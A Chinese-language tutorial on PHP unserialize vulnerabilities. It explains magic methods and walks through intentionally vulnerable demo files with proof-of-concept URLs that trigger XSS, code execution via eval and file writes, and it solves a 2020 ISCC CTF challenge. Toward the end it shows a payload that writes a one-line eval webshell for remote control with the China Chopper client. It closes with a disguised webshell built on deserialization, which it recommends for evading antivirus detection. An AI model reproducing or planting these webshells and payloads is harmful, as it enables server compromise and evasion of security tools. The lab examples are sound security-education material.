在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。
一般只能通过代码审计的方式挖掘该漏洞,寻找代码中unserialize()
函数的变量可控,且PHP
文件代码中存在可利用的类,同时类中具有魔术方法。
__construct()
当一个对象创建时被调用__destruct()
当一个对象销毁时被调用__toString()
当一个对象被当作一个字符串使用__sleep()
在对象在被序列化之前运行__wakeup
将在序列化之后立即被调用序列化主要分为字符型、数组型、对象型。
以序列化对象格式为例
O:4:"info":2:{s:4:"name";i:2:"19";}
漏洞示例demo2.php
:
<?php
class A{
var $test = "demo";
function __wakeup(){
echo $this->test;
}
}
unserialize($_GET['a']);
?>
构造序列化值:
O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}
利用序列化值构造POC
:
http://127.0.0.1/labs/fxlh/demo2.php?a=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}
成功在页面进行了弹窗:在序列化数据之后,立即自动调用了__wakeup()
函数,执行 <img src=1 onerror=alert(1)>
。
漏洞示例test.php
:
<?php
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['a']);
?>
构造序列化值:
O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
利用序列化值构造POC
:
http://127.0.0.1/labs/fxlh/test.php?a=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}
成功显示了phpinfo
页面:在反序列化该数据时,自动触发了_destruct()
函数,执行 eval(phpinfo())
。
漏洞示例demo3.php
:
<?php
require "shell.php";
class B{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class A{
var $test = '123';
function __wakeup(){
$obj = new B($this->test);
}
}
unserialize($_GET['a']);
?>
构造序列化值:
O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
利用序列化值构造POC
:
http://127.0.0.1/labs/fxlh/demo3.php?a=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
成功将phpinfo
写入了shell.php
:在反序列化该数据结束后,,立即自动调用了__wakeup()
函数,而在__wekeup()
创建了对象后,就会自动调用__construct()
函数,从而执行了文件写入的操作。
以2020 ISCC CTF
中的一道题为例
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
$good = unserialize($data);
echo $good;
}
else
{
$url='./index.php';
}
$html='';
if(isset($_POST['test'])){
$s = $_POST['test'];
$html.="<p>谢谢参与!</p>";
}
?>
代码审计
GET
形式传入一个data
参数,并且对data
参数进行了反序列化;_toString()
当一个对象被当作一个字符串时自动调用file_get_contents()
包含$file
文件内容;base64_encode()
加密输出$file
文件中的内容。构造序列化值:
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
利用序列化值构造POC
:
http://101.201.126.95:7003/index.php?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
成功显示了flag.php
文件中的内容:在反序列化该数据时,自动触发了_toString()
函数,执行 base64_encode(file_get_contents($filename))
。
上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通成员方法中,该如何利用呢?
漏洞示例demo4.php
:
<?php
class maniac{
public $test;
function __construct(){
$this->test =new x1();
}
function __destruct(){
$this->test->action();
}
}
class x1{
function action(){
echo "x1";
}
}
class x2{
public $test2;
function action(){
eval($this->test2);
}
}
$class2 = new maniac();
unserialize($_GET['test']);
?>
我们发现类的普通方法调用eval()
函数,这个函数很危险,如果可控就可能造成代码执行。
通过代码发现$_GET['test']
可控,因为使用unserialize()
会自动调用__destruct()
,所以它会先调用action()
函数,然后会走到x1
类和x2
类,而安全问题在x2
类中。
构造如下序列化代码serialize-demo4.php
:
<?php
class maniac{
public $test;
function __construct(){
$this->test = new x2();
}
function __destruct(){
$this->test->action();
}
}
class x2{
public $test2="phpinfo();";
function action(){
eval($this->test2);
}
}
$class1 = new maniac();
print_r(serialize($class1));
?>
上述序列化代码运行后得到的序列化值:
O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
利用得到的序列化值构造POC:
http://127.0.0.1/labs/fxlh/demo4.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
漏洞示例test.php
:
<?php
class Example {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['a']);
?>
利用eval()
传入可控参数,写入一句话木马 <?php @eval($_GET[cmd]);?>
,构造序列化数据值:
O:7:"Example":1:{s:3:"var";s:62:"fwrite(fopen('shell.php', 'w'),'<?php @eval($_POST[cmd]);?>');";}
利用序列化值构造POC
:
http://127.0.0.1/labs/fxlh/test.php?a=O:7:"Example":1:{s:3:"var";s:62:"fwrite(fopen('shell.php', 'w'),'<?php @eval($_POST[cmd]);?>');";}
执行该POC
后,会在同级目录下生成一个shell.php
文件,通过菜刀连接访问shell.php
,即可getShell
。
利用反序列化的特点,编写webShell
木马
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>
使用菜刀连接该webShell
木马
此木马与正常文件很像,所以对于免杀安全狗等防护软件效果很不错。